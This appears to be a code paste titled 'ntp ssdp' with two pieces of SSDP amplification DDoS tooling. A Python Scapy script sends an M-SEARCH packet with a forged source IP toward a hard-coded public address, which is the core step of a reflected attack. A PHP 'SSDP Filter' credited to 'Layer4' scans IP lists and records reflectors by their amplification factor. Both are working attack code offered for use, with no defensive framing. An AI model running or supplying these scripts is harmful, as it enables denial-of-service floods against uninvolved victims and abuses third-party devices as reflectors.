ntp ssdp

ssdp

import random
from scapy.all import send, IP, UDP

def send_udp(srcip, dstip):    
    x = random.randint(0, 65535)
    sendmsg = f'M-SEARCH * HTTP/1.1\r\nHost:{dstip}:1900\r\nST:ssdp:all\r\nMan:"ssdp:discover"\r\nMX:3\r\n\r\n'  
    i = IP()
    i.dst = dstip
    i.src = srcip
    u = UDP()
    u.dport = 1900    
    u.sport = 42564
    send(i/u/sendmsg)
    print('success')

send_udp("195.245.242.42", "1.162.106.242")

<?php
		//我要如何运行？
	    //php 这个ssdp过滤脚本的名称 输入的列表 输出到哪里 验证包根据放大倍数 线程
    ini_set("memory_limit","512M");
    set_time_limit(0); 
    ignore_user_abort(true);
    error_reporting(E_ERROR);

	
	$thread = true;
	
   
    start_threading('ldap.txt', 'ldapamp.txt', 2, 1000);
    
	
    
    function MSEARCH($host, $timeout = 1) {
    $data = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n";
    $socket  = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
    socket_connect($socket, $host, 1900);
    socket_send($socket, $data, strLen($data), 0);
    $buf = "";
    $from = "";
    $port = 0;
    @socket_recvfrom($socket, $buf, 1000, 0, $from, $port);
    socket_close($socket);
    return $buf;
    }
    
    function thread($ip, $output, $responselength) {
    $len = strlen(MSEARCH($ip, 1));
        if($len>=$responselength){
        addentry($output, $ip.' '.$len); 
        print("\n".$ip." ".$len." [x".round($len/108, 2)."]");
        }
    }
    
    function start_threading($input, $output, $responselength, $maxthreads) {
    $self = basename($_SERVER["SCRIPT_FILENAME"], '.php').'.php';
    $usage = "Usage: php {$self} [Input.txt] [Output.txt] [Response Size] [Threads]";
        if(strlen($input)==0){
        $error = "Error: Invalid Filename!";
        }
        if(strlen($output)==0){
        $error.= "\nError: Invalid Filename!";
        }
        if(is_numeric($responselength)==false){
        $error.= "\nError: Invalid Response Length!";
        }
        if($maxthreads<1||$maxthreads>1000){
        $error.= "\nError: Invalid Threads!";
        }
        if(strlen($error)>=1){
        die($error."\n".$usage."\n");
        }
    print("\nSSDP Filter\nCoded by Layer4\n\n");
    $threads = 0;
    $threadarr = array();
    $j = 0;
    $handle = fopen($input, "r");
        while(!feof($handle)){
        $line = fgets($handle, 4096);
            if (preg_match('/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $line, $match)) {
                if (filter_var($match[0], FILTER_VALIDATE_IP)) {
                $ip = $match[0];
                JMP:
                    if($threads < $maxthreads){
                    $pipe[$j] = popen('php'.' '.$self.' '.$ip.' '.$output.' '.$responselength.' '.'THREAD', 'w');
                    $threadarr[] = $j;
                    $j = $j + 1;
                    $threads = $threads + 1;
                    } else {
                    usleep(50000);
                        foreach($threadarr as $index){
                        pclose($pipe[$index]);
                        $threads = $threads - 1;
                        }
                    $j = 0;
                    unset($threadarr);
                    goto JMP;
                    }
                }
            }
        }
    fclose($handle);
    }
    

    
    function addentry($file, $entry){
        if(!file_exists($file)){
        touch($file);
        chmod($file, 0777);
        }
    $fh = fopen($file, 'a') or die("Can't open file: ".$file);
    fwrite($fh, "\n".$entry);
    fclose($fh);
    }
    
?>